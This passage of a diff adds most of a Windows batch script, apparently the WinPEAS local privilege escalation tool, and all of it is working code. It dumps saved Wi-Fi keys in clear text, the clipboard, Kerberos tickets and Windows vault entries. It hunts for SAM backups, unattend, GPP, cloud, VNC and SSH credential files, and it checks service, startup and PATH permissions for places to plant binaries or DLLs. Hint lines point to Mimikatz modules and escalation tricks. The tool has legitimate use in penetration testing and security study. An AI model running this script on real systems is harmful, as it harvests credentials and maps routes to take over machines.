+CALL :ColorLine " %E%33m[+]%E%97m MOUNTED DISKS"
+ECHO.   [i] Maybe you find something interesting
+(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
+ECHO.
+CALL :T_Progress 1
+
+:Environment
+CALL :ColorLine " %E%33m[+]%E%97m ENVIRONMENT"
+ECHO.   [i] Interesting information?
+ECHO.
+set
+ECHO.
+CALL :T_Progress 1
+
+:InstalledSoftware
+CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
+ECHO.   [i] Some weird software? Check for vulnerabilities in unknow software installed
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software
+ECHO.
+dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
+reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
+reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ /s | findstr InstallLocation | findstr ":\\"
+IF exist C:\Windows\CCM\SCClient.exe ECHO.SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading)
+ECHO.
+CALL :T_Progress 2
+
+:RemodeDeskCredMgr
+CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager
+IF exist "%AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
+ECHO.
+CALL :T_Progress 1
+
+:WSUS
+CALL :ColorLine " %E%33m[+]%E%97m WSUS"
+ECHO.   [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
+reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
+ECHO.
+CALL :T_Progress 1
+
+:RunningProcesses
+CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
+ECHO.   [i] Something unexpected is running? Check for vulnerabilities
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes
+tasklist /SVC
+ECHO.
+CALL :T_Progress 2
+ECHO.   [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)
+for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
+	for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do (
+		icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
+	)
+)
+ECHO.
+ECHO.   [i] Checking directory permissions of running processes (DLL injection)
+for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do (
+	icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
+)
+ECHO.
+CALL :T_Progress 3
+
+:RunAtStartup
+CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
+ECHO.   [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup
+::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
+reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
+reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
+reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
+reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
+CALL :T_Progress 2
+icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
+icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
+icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
+icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
+CALL :T_Progress 2
+icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
+icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
+icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
+icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. & ^
+CALL :T_Progress 2
+schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa")
+ECHO.
+CALL :T_Progress 2
+
+:AlwaysInstallElevated
+CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
+ECHO.   [i] If '1' then you can install a .msi file with admin privileges ;)
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
+reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
+reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
+ECHO.
+CALL :T_Progress 2
+
+:NetworkShares
+CALL :ColorLine "%E%32m[*]%E%97m NETWORK"
+CALL :ColorLine " %E%33m[+]%E%97m CURRENT SHARES"
+net share
+ECHO.
+CALL :T_Progress 1
+
+:NetworkInterfaces
+CALL :ColorLine " %E%33m[+]%E%97m INTERFACES"
+ipconfig  /all
+ECHO.
+CALL :T_Progress 1
+
+:NetworkUsedPorts
+CALL :ColorLine " %E%33m[+]%E%97m USED PORTS"
+ECHO.   [i] Check for services restricted from the outside
+netstat -ano | findstr /i listen
+ECHO.
+CALL :T_Progress 1
+
+:NetworkFirewall
+CALL :ColorLine " %E%33m[+]%E%97m FIREWALL"
+netsh firewall show state
+netsh firewall show config
+ECHO.
+CALL :T_Progress 2
+
+:ARP
+CALL :ColorLine " %E%33m[+]%E%97m ARP"
+arp -A
+ECHO.
+CALL :T_Progress 1
+
+:NetworkRoutes
+CALL :ColorLine " %E%33m[+]%E%97m ROUTES"
+route print
+ECHO.
+CALL :T_Progress 1
+
+:WindowsHostsFile
+CALL :ColorLine " %E%33m[+]%E%97m Hosts file"
+type C:\WINDOWS\System32\drivers\etc\hosts | findstr /v "^#"
+CALL :T_Progress 1
+
+:DNSCache
+CALL :ColorLine " %E%33m[+]%E%97m DNS CACHE"
+ipconfig /displaydns | findstr "Record" | findstr "Name Host"
+ECHO.
+CALL :T_Progress 1
+
+:WifiCreds
+CALL :ColorLine " %E%33m[+]%E%97m WIFI"
+for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & ECHO.)
+CALL :T_Progress 1
+
+:BasicUserInfo
+CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
+ECHO.   [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups
+ECHO.
+CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
+net user %username%
+net user %USERNAME% /domain 2>nul
+whoami /all
+ECHO.
+CALL :T_Progress 2
+
+:BasicUserInfoUsers
+CALL :ColorLine " %E%33m[+]%E%97m USERS"
+net user
+ECHO.
+CALL :T_Progress 1
+
+:BasicUserInfoGroups
+CALL :ColorLine " %E%33m[+]%E%97m GROUPS"
+net localgroup
+ECHO.
+CALL :T_Progress 1
+
+:BasicUserInfoAdminGroups
+CALL :ColorLine " %E%33m[+]%E%97m ADMINISTRATORS GROUPS"
+REM seems to be localised
+net localgroup Administrators 2>nul
+net localgroup Administradores 2>nul
+ECHO. 
+CALL :T_Progress 1
+
+:BasicUserInfoLoggedUser
+CALL :ColorLine " %E%33m[+]%E%97m CURRENT LOGGED USERS"
+quser
+ECHO. 
+CALL :T_Progress 1
+
+:KerberosTickets
+CALL :ColorLine " %E%33m[+]%E%97m Kerberos Tickets"
+klist
+ECHO. 
+CALL :T_Progress 1
+
+:CurrentClipboard
+CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
+ECHO.   [i] Any password inside the clipboard?
+powershell -command "Get-Clipboard" 2>nul
+ECHO.
+CALL :T_Progress 1
+
+:ServiceVulnerabilities
+CALL :ColorLine "%E%32m[*]%E%97m SERVICE VULNERABILITIES"
+:::sysinternals external tool
+::ECHO.
+::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\Users, Todos and CURRENT USER"
+::ECHO.   [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service
+::ECHO.   [i] If accesschk.exe is not in PATH, nothing will be found here
+::ECHO.   [i] AUTHETICATED USERS
+::accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
+::ECHO.   [i] EVERYONE
+::accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul
+::ECHO.   [i] BUILTIN\Users
+::accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
+::ECHO.   [i] TODOS
+::accesschk.exe -uwcqv "Todos" * /accepteula 2>nul
+::ECHO.   [i] %USERNAME%
+::accesschk.exe -uwcqv %username% * /accepteula 2>nul
+::ECHO.
+::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR *"
+::ECHO.   [i] Check for weird service permissions for unexpected groups"
+::accesschk.exe -uwcqv * /accepteula 2>nul
+CALL :T_Progress 1
+ECHO.
+
+:ServiceBinaryPermissions
+CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
+for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
+    for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
+)
+ECHO.
+CALL :T_Progress 1
+
+:CheckRegistryModificationAbilities
+CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
+for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
+ECHO.
+CALL :T_Progress 1
+
+:UnquotedServicePaths
+CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
+ECHO.   [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Progam.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
+ECHO.   [i] The permissions are also checked and filtered using icacls
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
+for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
+	for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
+		ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
+	)
+)
+CALL :T_Progress 2
+::wmic service get name,displayname,pathname,startmode | more | findstr /i /v "C:\\Windows\\system32\\" | findstr /i /v """
+ECHO.
+::CALL :T_Progress 1
+
+:PATHenvHijacking
+CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
+ECHO.   [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
+ECHO.   [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking
+for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
+ECHO.
+CALL :T_Progress 1
+
+:WindowsCredentials
+CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
+ECHO.
+CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault
+cmdkey /list
+ECHO.
+CALL :T_Progress 2
+
+:DPAPIMasterKeys
+CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
+ECHO.   [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
+powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
+powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
+CALL :T_Progress 2
+CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
+ECHO.   [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
+ECHO.   [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
+ECHO.
+ECHO.Looking inside %appdata%\Microsoft\Credentials\
+ECHO.
+dir /b/a %appdata%\Microsoft\Credentials\ 2>nul 
+CALL :T_Progress 2
+ECHO.
+ECHO.Looking inside %localappdata%\Microsoft\Credentials\
+ECHO.
+dir /b/a %localappdata%\Microsoft\Credentials\ 2>nul
+CALL :T_Progress 2
+ECHO.
+
+:UnattendedFiles
+CALL :ColorLine " %E%33m[+]%E%97m Unattended files"
+IF EXIST %WINDIR%\sysprep\sysprep.xml ECHO.%WINDIR%\sysprep\sysprep.xml exists. 
+IF EXIST %WINDIR%\sysprep\sysprep.inf ECHO.%WINDIR%\sysprep\sysprep.inf exists. 
+IF EXIST %WINDIR%\sysprep.inf ECHO.%WINDIR%\sysprep.inf exists. 
+IF EXIST %WINDIR%\Panther\Unattended.xml ECHO.%WINDIR%\Panther\Unattended.xml exists. 
+IF EXIST %WINDIR%\Panther\Unattend.xml ECHO.%WINDIR%\Panther\Unattend.xml exists. 
+IF EXIST %WINDIR%\Panther\Unattend\Unattend.xml ECHO.%WINDIR%\Panther\Unattend\Unattend.xml exists. 
+IF EXIST %WINDIR%\Panther\Unattend\Unattended.xml ECHO.%WINDIR%\Panther\Unattend\Unattended.xml exists.
+IF EXIST %WINDIR%\System32\Sysprep\unattend.xml ECHO.%WINDIR%\System32\Sysprep\unattend.xml exists.
+IF EXIST %WINDIR%\System32\Sysprep\unattended.xml ECHO.%WINDIR%\System32\Sysprep\unattended.xml exists.
+IF EXIST %WINDIR%\..\unattend.txt ECHO.%WINDIR%\..\unattend.txt exists.
+IF EXIST %WINDIR%\..\unattend.inf ECHO.%WINDIR%\..\unattend.inf exists. 
+ECHO.
+CALL :T_Progress 2
+
+:SAMSYSBackups
+CALL :ColorLine " %E%33m[+]%E%97m SAM and SYSTEM backups"
+IF EXIST %WINDIR%\repair\SAM ECHO.%WINDIR%\repair\SAM exists. 
+IF EXIST %WINDIR%\System32\config\RegBack\SAM ECHO.%WINDIR%\System32\config\RegBack\SAM exists.
+IF EXIST %WINDIR%\System32\config\SAM ECHO.%WINDIR%\System32\config\SAM exists.
+IF EXIST %WINDIR%\repair\SYSTEM ECHO.%WINDIR%\repair\SYSTEM exists.
+IF EXIST %WINDIR%\System32\config\SYSTEM ECHO.%WINDIR%\System32\config\SYSTEM exists.
+IF EXIST %WINDIR%\System32\config\RegBack\SYSTEM ECHO.%WINDIR%\System32\config\RegBack\SYSTEM exists.
+ECHO.
+CALL :T_Progress 3
+
+:McAffeeSitelist
+CALL :ColorLine " %E%33m[+]%E%97m McAffee SiteList.xml"
+cd %ProgramFiles% 2>nul
+dir /s SiteList.xml 2>nul
+cd %ProgramFiles(x86)% 2>nul
+dir /s SiteList.xml 2>nul
+cd "%windir%\..\Documents and Settings" 2>nul
+dir /s SiteList.xml 2>nul
+cd %windir%\..\Users 2>nul
+dir /s SiteList.xml 2>nul
+ECHO.
+CALL :T_Progress 2
+
+:GPPPassword
+CALL :ColorLine " %E%33m[+]%E%97m GPP Password"
+cd "%SystemDrive%\Microsoft\Group Policy\history" 2>nul
+dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
+cd "%windir%\..\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history" 2>nul
+dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
+ECHO.
+CALL :T_Progress 2
+
+:CloudCreds
+CALL :ColorLine " %E%33m[+]%E%97m Cloud Credentials"
+cd "%SystemDrive%\Users"
+dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
+cd "%windir%\..\Documents and Settings"
+dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
+ECHO.
+CALL :T_Progress 2
+
+:AppCMD
+CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe
+IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists. 
+ECHO.
+CALL :T_Progress 2
+
+:RegFilesCredentials
+CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
+ECHO.   [i] Searching specific files that may contains credentials.
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files
+ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
+reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
+CALL :T_Progress 2
+ECHO.Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
+reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul
+CALL :T_Progress 2
+ECHO.Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
+CALL :T_Progress 2
+ECHO.Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
+reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul
+CALL :T_Progress 2
+ECHO.Looking inside HKCU\Software\TightVNC\Server
+reg query HKCU\Software\TightVNC\Server 2>nul
+CALL :T_Progress 2
+ECHO.Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
+reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul
+CALL :T_Progress 2
+ECHO.Looking inside HKCU\Software\OpenSSH\Agent\Keys
+CALL :T_Progress 2
+reg query HKCU\Software\OpenSSH\Agent\Keys /s 2>nul
+cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul
+cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..
+dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
+cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..)
+ECHO.
+CALL :T_Progress 2
+
+:ExtendedDriveScan
+if "%long%" == "true" (
+    CALL :ColorLine " %E%33m[+]%E%97m REGISTRY WITH STRING pass OR pwd"
+	reg query HKLM /f passw /t REG_SZ /s
+	reg query HKCU /f passw /t REG_SZ /s
+	reg query HKLM /f pwd /t REG_SZ /s
+	reg query HKCU /f pwd /t REG_SZ /s
+	ECHO.
+	ECHO.   [i] Iterating through the drives
+	ECHO.
+	for /f %%x in ('wmic logicaldisk get name^| more') do (
+		set tdrive=%%x
+		if "!tdrive:~1,2!" == ":" (
+			%%x
+            CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
+	        findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
+            ECHO.
+            CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
+            dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"  
+            ECHO.
+		)
+	)
+	CALL :T_Progress 2
+) ELSE (
+	CALL :T_Progress 2
+)
+TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Idle
+ECHO.---
+ECHO.Scan complete.
+PAUSE >NUL 
+EXIT /B
+
+:::-Subroutines
+
+:SetOnce
+REM :: ANSI escape character is set once below - for ColorLine Subroutine
+SET "E=0x1B["
+SET "PercentageTrack=0"
+EXIT /B
+
+:T_Progress
+SET "Percentage=%~1"
+SET /A "PercentageTrack=PercentageTrack+Percentage"
+TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Scanning... !PercentageTrack!%%
+EXIT /B
+
+:ColorLine
+SET "CurrentLine=%~1"
+FOR /F "delims=" %%A IN ('FORFILES.EXE /P %~dp0 /M %~nx0 /C "CMD /C ECHO.!CurrentLine!"') DO ECHO.%%A
+EXIT /B